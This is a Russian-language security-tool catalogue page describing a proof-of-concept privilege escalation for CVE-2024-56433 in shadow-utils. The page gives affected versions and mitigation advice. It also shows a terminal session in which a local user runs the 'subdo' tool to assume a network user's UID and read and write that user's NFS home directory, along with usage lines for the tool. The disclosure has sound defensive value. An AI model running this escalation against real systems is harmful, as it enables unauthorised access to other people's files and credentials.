Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/jonnywhatshisface/cve-2024-56433
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеRed Teaming
GitHubjonnywhatshisface/cve-2024-56433

CVE-2024-56433

Эксплойт proof-of-concept для CVE-2024-56433, демонстрирующий повышение привилегий через коллизию подчинённых ID в shadow-utils для доступа к данным других пользователей.

Репозиторий
81 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-56433

shadow-utils — Небезопасное назначение вспомогательных идентификаторов по умолчанию для локальных пользователей

Краткое описание

Назначение вспомогательных идентификаторов по умолчанию создает риск коллизии с существующими идентификаторами пользователей, что потенциально позволяет произвольно изменять UID/GID и получать несанкционированный доступ к данным и сетевым ресурсам.

Затронутые версии

Базовый пакет: shadow-utils 4.4 — 4.17.0

Затронутые дистрибутивы Linux

Подтверждено на: Debian 12, Red Hat Enterprise Linux 9, Red Hat Enterprise Linux 10. Все последние версии дистрибутивов, использующих shadow-utils 4.4 и выше.

Ссылки

  • https://www.cve.org/CVERecord?id=CVE-2024-56433
  • https://github.com/JonnyWhatshisface/CVE-2024-56433
  • https://github.com/shadow-maint/shadow/issues/1157
  • https://github.com/shadow-maint/shadow/blob/e2512d5741d4a44bdd81a8c2d0029b6222728cf0/etc/login.defs#L238-L241
  • https://github.com/shadow-maint/shadow/releases/tag/4.4

Подробности

Shadow-utils начал поставляться с конфигурацией по умолчанию для делегирования вспомогательных идентификаторов локальным пользователям.

$ cat /etc/login.defs | grep -i sub
SUB_UID_MIN  100000
SUB_UID_MAX  600100000
SUB_UID_COUNT  65536
SUB_GID_MIN  100000
SUB_GID_MAX  600100000
SUB_GID_COUNT  65536
#GRANT_AUX_GROUP_SUBIDS yes
$

Когда новые локальные пользователи добавляются в систему с помощью любого из инструментов shadow-utils (adduser, useradd и во время установки системы), каждому пользователю выделяется уникальный блок из 65 536 UID и GID, начиная с UID/GID 100000. Например, в следующей системе добавлены два локальных пользователя:

$ cat /etc/subuid
jon:100000:65536
testacct:165536:65536
$

Конфигурация вспомогательных идентификаторов делегирует право использования указанных диапазонов пользователю в пользовательском пространстве имен и чаще всего используется для rootless-контейнеризации. Однако для входа в пространство имен не требуются утилиты контейнеризации — это можно сделать несколькими способами, включая использование стандартных инструментов shadow-utils 'newuidmap' и 'newgidmap'. Это позволяет пользователю произвольно менять POSIX-идентификатор пользователя на любой идентификатор в пределах делегированного ему диапазона.

Пример

В следующем примере пользователю Jon — UID/GID 1000 — делегирован диапазон из 65 536 UID/GID, начиная с 100000. В сети другие идентификаторы настроены через LDAP для централизованного управления пользователями и входа в систему, при этом домашние каталоги сетевых пользователей находятся на NFS.

UID/GID 108372 принадлежит сетевому пользователю msteph.

Используя выделение вспомогательных UID/GID по умолчанию, созданное во время установки, локальный пользователь может переключиться на идентификатор сетевого пользователя, а затем получить доступ к домашнему каталогу NFS, читая и записывая файлы от имени этого пользователя.

jon@localhost ~]$ id;uname -a;cat /etc/subuid
uid=1000(jon) gid=1000(jon) groups=1000(jon),10(wheel)
Linux localhost.localdomain 5.14.0-503.14.1.el9_5.aarch64 #1 SMP PREEMPT_DYNAMIC Fri Nov 15 07:14:03 EST 2024 aarch64 aarch64 aarch64 GNU/Linux
jon:100000:65536
[jon@localhost ~]$ getent passwd msteph
msteph:x:108472:108472::/mnt/home/msteph:/bin/bash
[jon@localhost ~]$ ls -al subdo;getcap subdo
-rwxr-xr-x 1 jon jon 72936 Dec 22 23:12 subdo
[jon@localhost ~]$ ./subdo -u 108472 -g 108472 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=108472(msteph) gid=108472(msteph) groups=108472(msteph),65534(nobody)
bash-5.1$ cd ~msteph
bash-5.1$ ls
bash-5.1$ ls -al
total 16
drwx------ 3 msteph nobody 99 Dec 22 23:19 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
bash-5.1$ touch testing123
bash-5.1$ ls -aal
total 16
drwx------ 3 msteph nobody 117 Dec 22 23:23 .
drwxr-xr-x. 8 nobody nobody 85 Dec 22 23:18 ..
-rw------- 1 msteph msteph 20 Dec 22 23:19 .bash_history
-rw-r--r-- 1 msteph nobody 18 Apr 30 2024 .bash_logout
-rw-r--r-- 1 msteph nobody 141 Apr 30 2024 .bash_profile
-rw-r--r-- 1 msteph nobody 492 Apr 30 2024 .bashrc
drwxr-xr-x 4 msteph nobody 39 Dec 20 09:10 .mozilla
-rw-r--r-- 1 msteph msteph 0 Dec 22 23:23 testing123
bash-5.1$

Хотя NFS был использован в качестве примера, это выходит за рамки только доступа к NFS. Инфраструктуры, где учетные данные Kerberos могут храниться на локальной системе, становятся уязвимыми, поскольку учетные данные могут быть извлечены из локальной системы, и становится возможным доступ к другим kerberized-сервисам.

Смягчение последствий

Записи SUB_ в /etc/login.defs должны быть удалены. Любые записи в /etc/subuid и /etc/subgid, которые не ожидаются, также должны быть удалены.

POC

POC для изменения UID/GID на желаемый выделенный вспомогательный идентификатор прилагается в виде subdo.c и subdo.py

POC сопоставляет внутренний и внешний идентификаторы с одним и тем же идентификатором, а затем выполняет setuid() и setgid() на этот идентификатор в пространстве имен, что означает, что все команды, выполняемые в оболочке внутри пространства имен, теперь выполняются с этим uid/gid на хосте.

subdo.c

Позволяет выполнять любые команды и аргументы с желаемым вспомогательным UID/GID.

Usage: ./subdo -u $uid -g $gid -r $range -- $cmd
Example: 
[jon@localhost ~]$ ./subdo -u 100000 -g 100000 -r 1 -- bash
bash: /home/jon/.bashrc: Permission denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$

subdo.py

Выполняет /bin/bash с желаемым вспомогательным UID/GID.

Usage: ./subdo.py -u $uid -g $gid
Example: 
[jon@localhost] $ ./subdo.py -u 100000 -g 100000
bash: /home/jon/.bashrc: Permission Denied
bash-5.1$ id
uid=100000 gid=100000 groups=100000,65534(nobody)
bash-5.1$
Скачать инструмент